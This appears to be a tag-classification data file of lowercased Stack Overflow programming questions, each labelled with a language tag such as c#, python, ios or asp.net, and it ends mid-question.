handling different logic based on type  i have <code>class foo&lt;t&gt;</code> and an instance method <code>foo&lt;t&gt;.m</code> with return type <code>t</code> and signature <code>m(bar bar)</code>. there is a constraint on <code>t</code> (<code>t : abstractbaseclass</code>) so that i m certain that <code>t</code> has a property <code>t.someproperty</code> (and a parameterless constructor constraint). let s say that <code>m</code> has to set the value of <code>t.someproperty</code> based on <code>bar</code> as well on the concrete type of <code>t</code>. i do not want my code to look like   <pre><code>t t = new t(); if(typeof(t) == t1) {      t.someproperty = // some function of bar } else if(typeof(t) == t2) {      t.someproperty = // some function of bar } else if(typeof(t) == t3) {      t.someproperty == // some function of bar } </code></pre>   i do not want to put an instance method on <code>t</code> that takes in values from <code>bar</code> to populate <code>t.someproperty</code> because that will make my <code>t</code>s have a dependency on some things that i do not want it to them a dependency on.    what is my best option here      here s what i mean:   <pre><code>class abstractbaseclass {     public int someproperty { get; set; } }  class foo&lt;t&gt; where t : abstractbaseclass  new() {     public t m(bar bar) {         t t = new t();         t.someproperty = // function of bar  typeof(t)         return t;     } } </code></pre>   how to write <code>m</code> but avoid type-by-type logic on the type parameter <code>t</code>     edit:    what about this  this is riffing on <a href= https://stackoverflow.com/questions/7337972/handling-different-logic-based-on-type/7338372#7338372 >corey s idea</a>:   <pre><code>interface isomepropertystrategy&lt;t&gt; {     int getsomeproperty(bar bar); }  class somepropertystrategyforconcreteclass1 :     isomepropertystrategy&lt;concreteclass1&gt; {     public int getsomeproperty(bar bar) { return bar.magicvalue + 73; } }  class somepropertystrategyforconcreteclass2 :     isomepropertystrategy&lt;concreteclass2&gt; {     public int getsomeproperty(bar bar) { return bar.magicvalue - 12; } }  class foo&lt;t&gt; where t : abstractbaseclass  new() {     private readonly isomepropertystrategy&lt;t&gt; strategy;     public foo&lt;t&gt;(isomepropertystrategy&lt;t&gt; strategy) {         this.stragety = strategy;     }     public t m(bar bar) {         t t = new t();         t.someproperty = this.strategy.getsomeproperty(bar);         return t;     }  } </code></pre>   the only thing i don t like about this is that it uses a generic interface where the generic type parameter never appears in the interface. i think i once saw a comment from eric lippert where he said that wasn t a good idea  but i can t remember. sorry.,c#
~/views/web.config and its content  i m creating a website since zero  and i ve used the mvc pattern.    ~/web.config has the assembly references to some dlls  but what has ~/views/web.config  yes  this file block the access to the controllers and more.  but this file is adding namespaces (and more things)  for example. why is this necessary    <pre><code>&lt; xml version= 1.0  &gt; &lt;configuration&gt;   &lt;configsections&gt;     &lt;sectiongroup name= system.web.webpages.razor  type= system.web.webpages.razor.configuration.razorwebsectiongroup  system.web.webpages.razor  version=3.0.0.0  culture=neutral  publickeytoken=31bf3856ad364e35 &gt;       &lt;section name= host  type= system.web.webpages.razor.configuration.hostsection  system.web.webpages.razor  version=3.0.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  requirepermission= false  /&gt;       &lt;section name= pages  type= system.web.webpages.razor.configuration.razorpagessection  system.web.webpages.razor  version=3.0.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  requirepermission= false  /&gt;     &lt;/sectiongroup&gt;   &lt;/configsections&gt;    &lt;system.web.webpages.razor&gt;     &lt;host factorytype= system.web.mvc.mvcwebrazorhostfactory  system.web.mvc  version=5.2.2.0  culture=neutral  publickeytoken=31bf3856ad364e35  /&gt;     &lt;pages pagebasetype= system.web.mvc.webviewpage &gt;       &lt;namespaces&gt;         &lt;add namespace= system.web.mvc  /&gt;         &lt;add namespace= system.web.mvc.ajax  /&gt;         &lt;add namespace= system.web.mvc.html  /&gt;         &lt;add namespace= system.web.optimization /&gt;         &lt;add namespace= system.web.routing  /&gt;         &lt;add namespace= webapplication4  /&gt;       &lt;/namespaces&gt;     &lt;/pages&gt;   &lt;/system.web.webpages.razor&gt;    &lt;appsettings&gt;     &lt;add key= webpages:enabled  value= false  /&gt;   &lt;/appsettings&gt;    &lt;system.webserver&gt;     &lt;handlers&gt;       &lt;remove name= blockviewhandler /&gt;       &lt;add name= blockviewhandler  path= *  verb= *  precondition= integratedmode  type= system.web.httpnotfoundhandler  /&gt;     &lt;/handlers&gt;   &lt;/system.webserver&gt; &lt;/configuration&gt; </code></pre>,asp.net
flex application(the remote object in flex not able to call java method)      <pre><code>&lt;mx:script&gt; &lt;![cdata[     import mx.modules.moduleloader;     import mx.controls.alert;     import mx.rpc.remoting.mxml.remoteobject;     import mx.rpc.events.resultevent;     import mx.rpc.events.faultevent;     import mx.rpc.events.abstractevent;     import mx.rpc.remoting.mxml.remoteobject; public function testmethod():void     {            var hp:remoteobject=new remoteobject();             var mloader:moduleloader=new moduleloader();             alert.show( 2 );             hp.destination= usercall ;             alert.show( 3 );             hp.testme(userid1.text username.text last.text con.text pass.text);             hp.addeventlistener(resultevent.result successmethod);             hp.addeventlistener(faultevent.fault failmethod);             mloader.url= loginform1.swf ;             panel2.setvisible(false);              addchild(mloader);             }         public function successmethod(event:resultevent):void         {             alert.show( in success );         }         public function failmethod(event:faultevent):void         {             alert.show( in failed );         }            public function test1():void         {             var mloader:moduleloader=new moduleloader();             mloader.url= tamarindex.swf ;             panel2.setvisible(false);              addchild(mloader);         } ]]&gt; </code></pre>                                                                              i want to call java func from flex.    i have write a function in java  but i am gettnig an error.,java
add same custom view multiple times  how to add same custom view as multiple times when clicking on add button. i tried to add using for loop but every times views are adding and overlapping previous views.,objective-c
ios app  place to save user id and password  i am new to ios development. anyone can advise where is the best place to save the user id and password  my app is running on iphone.    thanks aimar,iphone
how to find a string between two begin and end strings in asp.net using c#   how to find a string between two begin and end strings in mvc4     some examples:   <pre><code>d1 =&gt; d1 (result) d1-d3 =&gt; d1 d2 d3 (result) d5-d6 =&gt; d5 d6 (result) d4-d7 =&gt; d4 d5 d6 d7 (result) </code></pre>,c#
increase size of number field in html  i am trying to increase the box to fit the required placeholder text. if i change input type from  number  to  text  it works but i want to use  number  so i can specify the range.   <pre><code>    &lt;form action= program3.php  method= post &gt;     &lt;p&gt;distance (in miles):      &lt;input style= height:200px;font-size:14pt; &gt;     &lt;input type= number  name= distance  required     size= 100  min= 300  max= 600      required placeholder= enter a number between 300 &amp; 600 &gt; </code></pre>,html
making a 2d list from a grid in a file  i m trying to make this grid(wordsearch) that is located in a file called  hidden.txt  into a 2d list so that i can use code to search the lines for words.   <pre><code>s i n s n o w s t o r m w i k l n t s n o w m a n e f e a r e c a l p e r i f r i e t c g i c a n d l e e r m k e f h b g t a o c e e y i a s r r i l h t u z p a c t l t a n o l i b e r i g h t f b c d h s l z e t a n r e w o s d e e t t z l d r i n o o e d v l n i s a l s s s n t b o l i s c y y r s t e s s h h w o l e l o w d m c a s n a d e c e m b e r a d l e l t i s e a s o n g s h t </code></pre>,python
how to save results of a function into text file in c  this function print the length of words with  *  called histogram.how can i save results into text file  i tried but the program does not save the results.(no errors)   <pre><code>void histogram(file *myinput)    {    file *ptr;    printf( \nsaving results...\n );    ptr=fopen( results1.txt   wt );     int j  n = 1  i = 0;    size_t ln;    char arr[100][10];     while(n &gt; 0)       {       n = fscanf(myinput   %s  arr[i]);       i++;       }     n = i;    for(i = 0; i &lt; n - 1; i++)       {       ln=strlen(arr[i]);       fprintf(ptr  %s \t  arr[i]);       for(j=0;j&lt;ln;j++)           fprintf(ptr   * );        fprintf(ptr   \n );       }     fclose(myinput);    fclose(ptr);    } </code></pre>,c
web server show pdf in uiwebview but didfailloadwitherror in ios run with xcode 6  pdf file error with run in xcode 6.0 it s not work ......   <pre><code>uiwebview *webview = [[uiwebview alloc] initwithframe:cgrectmake(10  10  200  200)];  nsurl *targeturl = [nsurl urlwithstring:@ http://developer.apple.com/iphone/library/documentation/uikit/reference/uiwebview_class/uiwebview_class.pdf ]; nsurlrequest *request = [nsurlrequest requestwithurl:targeturl]; [webview loadrequest:request];  [self.view addsubview:webview]; </code></pre>,ios
css verically align text in <a> anchor when display type block  i m not too sure this can be done without pseudo elements - but what do i know.    i have a tab element which is an <code>&lt;li&gt;</code>.    inside each li there is an <code>&lt;a&gt;</code>.    i want to achieve 2 things:   <ol> <li>make the a element fill the space of its parent li. the height is known but the width is variable.</li> <li>centre the text vertically </li> </ol>   obviously this is easily done with 1 liners  simply add <code>display:block</code> and <code>line-height</code> to the anchor.    however  i need to <strong>allow for line wraps too</strong>.    so  to recap: fill the available space in the parent and vertically align text within its own block.    i can use flexbox or whatever  but at the moment  i can do one or the other not both.,css
mysql select rows with limit to different column  the structure of table goes as bellow    <pre><code>posts (    id int      category_id int      popularity int   ) </code></pre>   i wanna select 5 categories each having 5 rows.     like select * from posts where category_id in ( 1     2     3     4     5 ) limit 5 -- limit each category_id by selection of 5,mysql
error while working with files  i m trying to work on files in c. when i input a file name by command line it works but when i try and input the file name on the standard input it doesn t work. here is my code:   <pre><code>int main()  {   file * input;   char  filename[100];   printf( enter file name\n );   scanf( %c  filename);   input=fopen(filename  r );   readdata(input);   return 0;  } </code></pre>   i run this code by this-   <pre><code>gcc temp.c -o exe ./exe enter file name input.txt </code></pre>   this give this error:   <pre><code>file not found or unable to read segmentation fault (core dumped) </code></pre>   but this works:   <pre><code>int main(int argc char *argv[])  {   file * input;    input=fopen(argv[1]  r );   readdata(input);   return 0;  } </code></pre>   i run this code like this:   <pre><code>gcc temp.c -o exe /exe input.txt </code></pre>   why is the first one giving an error,c
passing a character for prompt control  so i was given this function to read options to perform. i understand the execution of the prompts but i am having trouble passing the  c  back to the program. i figure it has something to do with pointers i have yet to grasp.   <pre><code>   int nextcommand(int *x  int *y)         {             char c;             while(1){                 scanf( %c   &amp;c);                 if (c ==  s  || c ==  p ) break;                 if (c ==  f  || c ==  f ) {scanf( %d   x); break;}                 if (c ==  u ) {scanf( %d   x); scanf( %d   y); break;}             }             return c;         } </code></pre>   to actually describe my question. when i call this function the program is at a standstill. i try to enter one of the appropriate commands (i.e. s or p) and the program ends. sorry i put this question up at the end of a long night.,c
how to create a basic user permissions per project association   i have public and private projects in my app. i want to assign user to private projects for viewing and posting. what s the right way to do this  i tried with a permissionlist model and associated it to a project. but i got so confused that i couldn t make it.,ruby-on-rails
how to select the records whose several fields  combination will equal to a specific value  assume i have the following style table  col1 col2 and col3 have same value scopes  i want to select the records when two of the 3 columns have a value combination such as ( ab  and  bc )  in the following example  the first 3 records should be selected. any good way to do this  i am using sybase.    <pre><code>| id | col1 | col2 | col3 |   1     ab     bc     null   2     null   ab     bc   3     ab     ab     bc   4     de     ab     xy </code></pre>   thanks.,sql
how to ensure that values of a column in database table is shown as columns of datagridview  hey guys i was trying to develop accounting application thanks to windows forms appication c# and what i want to achive is that i have a column in a database table called categoryname and it has values as transport  food and internet and the question is how it is possible to put those values as columns in datagridview and if i add new values in categoryname  then they have to be added as datagridview columns automatically.,c#
special folder information in os  does using environment.specialfolder gurantee the right folder information on all windows os s,.net
should i always use html doctypes   i m creating a web page with some sort of weird features like scaling and other stuff. the problem that i have is that i cannot pull it off without using javascript but if i get rid of the page doctype it can be easily done by html/css.    what should i do  i want to stick to standards and avoid inconsistencies.,html
rails increase duration of flash[:error] message  what would be the easiest/best way to increase the display duration of an individual flash[:error] message in a rails 4 application     the code that does the message is in a controller and the pertinent section looks like this:   <pre><code>  else     flash[:notice] = t(:no_new_media  source: @channel.external_source.capitalize)     flash[:error] = @error[ message ] if @error.present      redirect_to admin_channel_path(@channel)   end </code></pre>   i d like to increase the display duration of the error message but i don t care either way about the notice,ruby-on-rails
iphone  apns usage  i have a question about apns...    my iphone lost  i know devicetoken  i have push some message to my iphone  i want know if the iphone os was restore or reset  your know  all app will be removed includes my app      if so  whether the push message will be send to my iphone         sorry i have no other iphone to test now. just urgent question  or maybe have other good idea to touch the holder of my iphone .    thanks for you time give me some help on this .    thanks again.,iphone
keeping/storing a running total outside of function from inside a function  hey i m working on a small project for school and i need to keep a running tally outside of a function whilst re running the program inside the function for any number of times.i ve tried different things but i cant get it to stop resetting the value of my tally any help would be appreciated.this is my code so far:   <pre><code>import sys r = open( teacherfine.txt   r )  a = 0 b = 0   def f(enter):     b = 0     for line in r:         if line.startswith(enter):             c = line.split(   )             print(c)             print(c[1]  owes  c[2])             global a             a = a =+ float(c[2])             d = input( do you want to add another code (yes/no) )             if d ==  yes :                 z = input( enter code )                 f(z)             elif d !=  yes :                 print( the total owed was  a)                 sys.exit()     z= input( enter code ) f(z) </code></pre>,python
align horizontal navigation menu  i have a horizontal navigation bar. i wish to add a search bar to the navigation bar  but when i insert it  my navigation bar is misaligned.    <a href= https://jsfiddle.net/r6ntxg2f/  rel= nofollow >https://jsfiddle.net/r6ntxg2f/</a>    as you can see my menu is hovering above the green line  and the right side menu is hovering even more. i wish to align the whole menu to the green line.   <pre><code>&lt;li id= searchbar &gt;   &lt;form id= search  method= post  style=  &gt;     &lt;input id= bb  type= text  style=   /&gt;     &lt;input id= cc  type= submit  value= search  style=   /&gt;   &lt;/form&gt; &lt;/li&gt; </code></pre>   this is how it is without search. <a href= https://jsfiddle.net/q476f585/  rel= nofollow >https://jsfiddle.net/q476f585/</a> (working),css
how can i introduce a small number with a lot of significant figures into a c program   i m not particularly knowledgable about programming and i m trying to figure out how to get a precise value calculated in a c program. i need a constant to the power of negative 7  with 5 significant figures. any suggestions (keeping in mind i know very little  have never programmed in anything but c and only during required courses that i took years ago at school)     thanks!,c
go back to previous line in python   im trying to create the following such that it reassigns the variable as i go.   <pre><code>def train(old_strength  old_energy):      train = input( what would you like to do now \n strentgh  or  rest \n&gt; )      if train ==  strength :         strength = old_strength+10         energy = old_energy-10           if energy &lt;= 0:             print ( you do not have enough energy to do this. )          else:                pass          print ( you have gained 10 strength  and now have %d strength and %d energy left  %(strength  energy))         old_strength = strength)         old_energy = energy)                 train(old_strength  old_energy) </code></pre>   im trying to get it so that when it goes back to the  train  input  it will then use the new strength and energy values for the next time. at the moment i get the error   <pre><code>traceback (most recent call last):   file  settler.py   line 127  in &lt;modul     train(10  50)   file  settler.py   line 37  in train     train(old_strength  old_energy) typeerror:  str  object is not callable </code></pre>   how do i fix this  many thanks in advance,python
about ado.net for searching  i want to search from database product name in ado.net.when user enter the full name of the product it gets results but i want that when user enter the first letter the text changed event invoke and get results according to first letter.e.g if user enter only  e  it get all results according to the e and show it in datagridview   <pre><code>    private void textbox10_textchanged(object sender  eventargs e)     {         sqlconnection conn = new sqlconnection(configurationmanager.connectionstrings[ hamad ].connectionstring);         conn.open();         dataset dtt = new dataset();         sqlcommand cmd = new sqlcommand( select * from product where pname =    + textbox10.text.tostring() +      conn);         sqldataadapter daa = new sqldataadapter();         daa.selectcommand = cmd;         daa.fill(dtt   product );         datagridview2.datasource = dtt;         datagridview2.datamember =  product ;         datagridview2.visible = true;     } </code></pre>   please help me.i think alot,.net
getting a  server error in  /  application   error in asp.net <pre><code>server error in  /  application. the resource cannot be found. description: http 404. the resource you are looking for (or one of its dependencies) could have been removed  had its name changed  or is temporarily unavailable.  please review the following url and make sure that it is spelled correctly.  requested url: /login.aspx </code></pre>   the odd thing is there is no login.aspx file in the solution space and there is no reference to it anywhere in the code file of the aspx file.i have attached the code below    <pre><code>protected void onbutton_click_login(object sender  system.eventargs e)     {         var dbcontext = new preplicensingsolution2010.dal.licensingentities1();         var user = dbcontext.userpassword(loginname.text);         string hashedpassword = formsauthentication.hashpasswordforstoringinconfigfile(password.text   sha1 );     if (user.firstordefault() == hashedpassword)     {           response.redirect( /members/members.aspx );      }     else     {         response.redirect( signin.aspx );     }  }  protected void rbuser_index_changed(object sender  eventargs e) {      if (rbuser.selecteditem != null)     {         if (rbuser.selecteditem.value ==  0 )         {             response.redirect( signup.aspx );         }         else         {             rbuser.selectedindex = 1;         }     } } </code></pre>   any inputs would be great since i wasnt getting this error last week and started getting it only after we moved to a new office so i am wondering if this is something to do with the network setup    well i checked the forms authentication on the web.config and i dont see anything there which explains that issue     the code is below    <pre><code>&lt;authentication mode= forms  /&gt; &lt;!--         the &lt;customerrors&gt; section enables configuration          of what to do if/when an unhandled error occurs          during the execution of a request. specifically           it enables developers to configure html error pages          to be displayed in place of a error stack trace.      &lt;customerrors mode= remoteonly  defaultredirect= genericerrorpage.htm &gt;         &lt;error statuscode= 403  redirect= noaccess.htm  /&gt;         &lt;error statuscode= 404  redirect= filenotfound.htm  /&gt;     &lt;/customerrors&gt;     --&gt; </code></pre>,asp.net
php write to file multiline  this is my first time touching php so what seems like it should be a simple task has been a fairly long project for me so far between the google searching and trial and error  but i m on the home stretch with one minor issue.    i m writing a form  essentially for case notes  so i can fill in the fields  hit submit  and it puts everything into the appropriate case note template  and writes it to a file to serve as a local backup so i don t have to do that manually.    now i have the following section on my form for case notes  which likely contain multiple lines  paragraphs  etc   <pre><code>case comments: &lt;br&gt; &lt;textarea name= comment  rows= 10  cols= 60 &gt;&lt;/textarea&gt; &lt;p align= right &gt;&lt;input type= submit  name= submit &gt;&lt;/p&gt; </code></pre>   then in the form output page  i have the following. after some searching i found that to get it to output  i ended up needing to add the nl2br() for the comments to retain the formatting   <pre><code>&lt; php $comment = nl2br($_post[ comment ]); echo $comment;  &gt;&lt;br&gt; </code></pre>   i then have the following to write it out to a file   <pre><code>$txt =  c:\path\to\casenotes.txt ; $fh = fopen($txt   a ); fwrite($fh $comment.php_eol); fclose($fh) </code></pre>   this writes everything out just fine  mostly. the problem is  the outputted test file ends up with html line break codes between the line breaks in the comments section  which is what i m trying to remove if at all possible now. this is what i m getting below   <pre><code>fsthyrew h&lt;br /&gt; &lt;br /&gt; asdfsaf&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; asfd </code></pre>   maybe someone can help point me in the right direction here,php
asp.net label over asp.net image  i want to palce a asp.net label over asp.net image     <pre><code>&lt;asp:image id= image1  runat= server  imageurl= ~/option.png  /&gt;  &lt;asp:label id= label1  runat= server  text= labelsssssss &gt;&lt;/asp:label&gt;   </code></pre>   here it will come one after another only. i have to use both asp controls no html controls are allowed.how,asp.net
get value in mysql like query  my problem seems to be simple but i m not getting logic despite of trying from so many long hours please help me    **problem:**i am writing mysql stored procedure where i have like statements in where clause i want to pass value in like clause from in parameter.    although query executed but returning 0 rows.    my stored procedure   <pre><code>create definer=`****`@`%` procedure `get_fee_day_report`( in p_center varchar(150)    in p_fid varchar(150)    in p_cid varchar(150)   ) begin set  p_center=(select concat(    p_center  %     ) ); set p_fid=(select concat(    p_fid  %     ) ); set p_cid=(select concat(    p_cid  %     ) );                      select                     sd.application_no as  application no                       sd.s_name as  stud name                       ifnull((select sum(fpd_fees_paid_amount) from fees_paid_details where fpd_stu_id=sd.s_id) 0) as fees_paid                      fpd_fees_paid_date as  paid on                       fpd_cheque_no as  check number                       case when fpd_tran_mode=1 then  cash  when fpd_tran_mode=2 then  cheque  end as  paid mode                       (select employee_name from users where user_id=fpd_created_by) as  collected by                  from                     student_details sd left join fees_paid_details fpd on sd.s_id=fpd_stu_id                      fees_collect_category fcc                        where                     sd.f_id=fcc.f_id                     and sd.c_id=fcc.c_id                     and sd.f_id like p_fid                     and sd.c_id like p_cid                     and sd.centre_id like p_center                     and sd.dropouts=0                     order by sd.centre_id sd.f_id sd.c_id; end </code></pre>   when i execute only query out of procedure it writes 518 rows for same parameter values   <pre><code>select                     sd.application_no as  application no                       sd.s_name as  stud name                       ifnull((select sum(fpd_fees_paid_amount) from fees_paid_details where fpd_stu_id=sd.s_id) 0) as fees_paid                      fpd_fees_paid_date as  paid on                       fpd_cheque_no as  check number                       case when fpd_tran_mode=1 then  cash  when fpd_tran_mode=2 then  cheque  end as  paid mode                       (select employee_name from users where user_id=fpd_created_by) as  collected by                  from                     student_details sd left join fees_paid_details fpd on sd.s_id=fpd_stu_id                      fees_collect_category fcc                        where                     sd.f_id=fcc.f_id                     and sd.c_id=fcc.c_id                     and sd.f_id like  %%                      and sd.c_id like  %%                      and sd.centre_id like  1%                      and sd.dropouts=0                     order by sd.centre_id sd.f_id sd.c_id; </code></pre>   <strong>edit</strong> just observe the things here    <pre><code>set p_center= concat(    p_center  %     ); set p_fid= concat(    p_fid  %     ); set p_cid= concat(    p_cid  %     );  select p_center p_fid p_cid; </code></pre>   this will returen output as    <pre><code>p_center  p_fid    p_cid  1%          %       %  </code></pre>   so when i pass it to where clause it seems it is not taking those value,mysql
how do i call a non-static method from another class in a non-static method  (java) <pre><code>    import java.util.*;     import java.io.*;     public string rectostring (boolean format) {      date date = new date();          file inputfile = new file ( records.txt );         scanner sc = new scanner(inputfile);         if (format == true){             format = date1.usformat();             format = date1.usformat();         } else {             format = date1.euformat();         }               } </code></pre>   i plan to call the usformat and euformat.    <pre><code>    import java.util.*;     import java.io.*;      class date1 {             string month =   ;         string day   =   ;         string year  =   ;          public date1 (string date)  {              stringtokenizer st = new stringtokenizer(date   / );              month = st.nexttoken();             day   = st.nexttoken();             year  = st.nexttoken();         } //end constructor             public  string usformat () {                string date = month +  /  + day +  /  + year;             return date;         } //end usformat              public string euformat () {              string date = day +  /  + month +  /  + year;             return date;         } //end euformat          } //end class   </code></pre>   try to ignore any other mistakes please. but if it screws up this and i have to change it to get it  please do tell :)    thanks.,java
populating a data grid in wpf  i need to populate a data grid with information from a table. can anyone help me out on this problem.,.net
nsunknownkeyexception exception while presenting new modalviewcontroller  i am setting the owner viewcontroller in my model class component  which when clicked needs to present a detailedviewcontroller. the tap gesture code of model component looks like this:   <pre><code>detailviewcontroller *dvc = [[detailviewcontroller alloc] init]; uistoryboard *storyboard = [uistoryboard storyboardwithname:@ mainstoryboard  bundle: nil]; dvc = [storyboard instantiateviewcontrollerwithidentifier:@ tiledetailview ]; dvc.inforequest = self.data; // data to display [dvc setmodaltransitionstyle:uimodaltransitionstylecoververtical]; [self.viewcontroller presentviewcontroller:dvc animated:yes completion:^{         ;     }]; </code></pre>   <code> tiledetailview </code> is the id of <code>detailedviewcontroller</code> in storyboard. now when executing this code  i am getting the error mentioned below. on searching across web  i found that this kind of error appears when there is an owner error; however i am not able to identify the error here as the <code>detailedviewcontroller</code> is initiated from <code>mainstoryboeard</code> and is a valid identity here.    any help/references are appreciated. thanks.    error trace:     <strong>terminating app due to uncaught exception  nsunknownkeyexception   reason:  [ setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key metadataview.</strong>    <pre><code>*** first throw call stack: (0x27d2012 0x1c0fe7e 0x285afb1 0x16bc711 0x163dec8 0x163d9b7 0x1668428 0xd740cc 0x1c23663 0x27cd45a 0xd72bcf 0xc37e37 0xc38418 0xc38648 0xc38882 0xc44235 0xe433d2 0xc414f3 0xc41777 0x46010 0xe2189a 0xe209db 0xe2211f 0xe24d6d 0xe24cec 0xe1ca68 0xb89fc2 0xb8a4a3 0xb683aa 0xb59cf8 0x2c9bdf9 0x2c9bad0 0x2747bf5 0x2747962 0x2778bb6 0x2777f44 0x2777e1b 0x2c9a7e3 0x2c9a668 0xb5765c 0x24ed 0x2415) libc++abi.dylib: terminate called throwing an exception </code></pre>,ios
how increment value in hidden_field   when i create a new answer of a poll  i need to increase the value by one of a hidden_field :sequence . what do i need to add in the value in hidden_field     <pre><code>.poll_row   .poll_item     = f.input :answer  input_html: { class:  ctrlenter expanding  }  label: false  placeholder:  введите вариант ответа      = f.hidden_field  :sequence  value:              = button_tag  вверх   type:  button   class:  up_id   value:  up      = button_tag  вниз   type:  button   class:  down_id   value:  down      - if @poll.editable (current_user)       = link_to_remove_association  remove   f  { wrapper_class:  poll_item  } </code></pre>,ruby-on-rails
fill dropdown list by querystring  i had drop down list and i want to fill it with data by specific condition  i used this code but it was t worked well    <pre><code>&lt;cs&gt; protected void page_load(object sender  eventargs e)     {         page.title =  thumbnailviewpage ;      if (request.querystring[ category_id ] != null)     {         using (sqlconnection con = connection.getconnection())         {              sqlcommand com = new sqlcommand( getproducfamilytp2   con);             com.commandtype = commandtype.storedprocedure;             com.parameters.add(parameter.newint( @category_id   request.querystring[ category_id ]));             sqldatareader dr = com.executereader();             if (dr.read())             {                 ddlproductfamily.datatextfield = dr[ name ].tostring();                 ddlproductfamily.datavaluefield = dr[ productcategory_id ].tostring();             }         }      }     else if (request.querystring[ productcategory_id ] != null)     {         using (sqlconnection con = connection.getconnection())         {              sqlcommand com = new sqlcommand( getproducfamilytp3   con);             com.commandtype = commandtype.storedprocedure;             com.parameters.add(parameter.newint( @productcategory_id   request.querystring[ productcategory_id ]));             sqldatareader dr = com.executereader();             if (dr.read())             {                 ddlproductfamily.datatextfield = dr[ name ].tostring();                 ddlproductfamily.datavaluefield = dr[ productcategory_id ].tostring();             }         }      } </code></pre>   }       <pre><code>                                    &lt;asp:updatepanel id= updatepanel3  runat= server &gt;                                         &lt;contenttemplate&gt;                                             &lt;asp:dropdownlist id= ddlproductfamily  runat= server                                                   ondatabound= ddlproductfamily_databound  onload= ddlproductfamily_load                                                   onselectedindexchanged= ddlproductfamily_selectedindexchanged &gt;                                             &lt;/asp:dropdownlist&gt;                                         &lt;/contenttemplate&gt;                                         &lt;triggers&gt;                                             &lt;asp:asyncpostbacktrigger controlid= ddlproductfamily  eventname= selectedindexchanged  /&gt;                                         &lt;/triggers&gt;                                     &lt;/asp:updatepanel&gt; </code></pre>,asp.net
when creating a list of radio buttons  how do you make it to where there is only 1  correct  answer   i am relatively new to this  but i am trying to create a list of options to choose from  and i font want any but one of the options to allow the user to continue. like when you put a requirement on a password  is there a way to put a requirement as  to which radio button can be allowed to be selected  like  wrong answer  pops up until they select the correct answer. any tips or referrals would be appreciated.    here is what i got so far.   <pre><code>&lt;p&gt;whats an aliens hobby &lt;/p&gt; &lt;form&gt;     &lt;label for= skiing &gt;skiing:&lt;/label&gt;     &lt;input type= radio  name= hobbychoice &gt;      &lt;label for= murder &gt;murder:&lt;/label&gt;     &lt;input type= radio  name= hobbychoice  incorrect&gt;      &lt;label for= hecking and general computer owning skills &gt;hecking and general computer owning skills:&lt;/label&gt;     &lt;input type= radio  name= hobbychoice   correctanswer&gt;     &lt;button&gt;check answer&lt;/button&gt; </code></pre>,html
mvc5 when i create a controller and i make a list view the error show unable to retrieve metadata  this are my codes i am new in mvc 5    <img src= https://i.stack.imgur.com/n4u6o.jpg />,asp.net
recover the inaccessible class c++  next code:   <pre><code>//plan.hpp class plan{         public:           plan(int bx int by):x(bx) y(by){ }           int x;          int y; };  class flower:plan{     public:        flower(int ax int ay):plan(ax ay){}  };   //base.hpp  include plan.hpp  include &lt;vector&gt;   class vec{ std::vector&lt;plan&gt; plants;  plants.push_back(flower(x y)); </code></pre>   gnu compiler says: 103  54  c:\users\sonera\desktop\osku\koodaus\c++\ohjelmat\forest\simulaattor.hpp    [error]  plan  is an inaccessible base of  flower,c++
apn works in development not in distribution  we have an iphone app that uses apn  the testing was perfect on sandbox  now the problem we are seeing is that apn is not reaching the phone on production  is this a known issue on the iphone  our app was just approved two days ago.     we checked everything mentioned <a href= https://stackoverflow.com/questions/8707150/iphone-push-notification-works-in-sandbox-but-not-in-production-mode >here</a>  i understand this question is very hard to answer and i guess what i m looking for is any hints.    this is what i made sure of:   <ul> <li>i am using different apn token for production than development</li> <li>the provisioning profile has push notifications enabled</li> <li>apple apn service responds successfully without and don t report any issue.</li> <li>certificates seems to be fine. and when i unzip the ipa i see <code>aps-environment</code> refers to <code>production</code> in the distribution ipa.</li> <li>downloaded the store ipa and unpacked it  yet to find that it also has the aps-environment set to production. <hr> <strong>update:</strong></li> </ul>   i removed all the certificates and provisioning profiles and created a new production/distribution certificate with push notification support.    now  when i installed the store version  the apn didn t work still. however  i used the latest ad-hoc built i have locally and the apn is working fine. i decided to replace the ad-hoc with the store version  and behold  the apn started to work. i am not sure what s the issue  i ll have to check on other phones to see if it really works. have anyone had similar scenario,ios
is this correct way to fix ambiguous function call  i have code like this:   <pre><code>#include &lt;cstdio&gt;  void test(size_t const pos){     printf( size_t\n ); }  void test(const void *ptr){     printf( ptr\n ); }  //void test(int const pos){ //  printf( int\n ); //}  int main(){     size_t x = 0;      test(x);     test(nullptr);     test(&amp;x); //  test(0); // some more that fail  but i do not care too much about them: //  test(0u); //  test(0l); //  test(null); } </code></pre>   when i un-comment <code>test(0);</code> it does not compile  because the compiler does not know how to convert  0 .    if i introduce  int  overload  everything compiles again.    is this correct way to avoid ambiguous function call     <strong>update</strong>    correct would mean - i want not to call pointer overload  except in case argument is pointer or <code>nullptr</code> is passed.    i am aware that current  setup  fails with <code>0u</code>  <code>0l</code>  <code>null</code>.,c++
handle of csv file not echoing  i ve not even messed with this since the last time i used it but it just does not want to run the 2nd echo  any ideas     the first echo is fine  it s finding all the names in the specified csv file  i m might be being dumb but it just does not like the 2nd echo.   <pre><code>&lt; php error_reporting(e_all); ini_set( display_errors    on );  $csvpath= resource/userlist.csv ;  if (($handle = fopen( $csvpath    r )) !== false) {      $titles = fgetcsv($handle  1000     );      while (($buffer = fgetcsv($handle  1000       \  )) != false) {         $user = $buffer[0];         echo $user;         echo  &lt;user name= $user &gt;             &lt;option name= pass &gt;password&lt;/option&gt;             &lt;option name= group &gt;&lt;/option&gt;             &lt;option name= bypass server userlimit &gt;0&lt;/option&gt;             &lt;option name= user limit &gt;0&lt;/option&gt;             &lt;option name= ip limit &gt;0&lt;/option&gt;             &lt;option name= enabled &gt;1&lt;/option&gt;             &lt;option name= comments &gt;&lt;/option&gt;             &lt;option name= forcessl &gt;0&lt;/option&gt;             &lt;ipfilter&gt;                 &lt;disallowed /&gt;                 &lt;allowed /&gt;             &lt;/ipfilter&gt;             &lt;permissions&gt;                 &lt;permission dir= c:\xampp\htdocs\$user &gt;                     &lt;option name= fileread &gt;1&lt;/option&gt;                     &lt;option name= filewrite &gt;0&lt;/option&gt;                     &lt;option name= filedelete &gt;0&lt;/option&gt;                     &lt;option name= fileappend &gt;0&lt;/option&gt;                     &lt;option name= dircreate &gt;0&lt;/option&gt;                     &lt;option name= dirdelete &gt;0&lt;/option&gt;                     &lt;option name= dirlist &gt;1&lt;/option&gt;        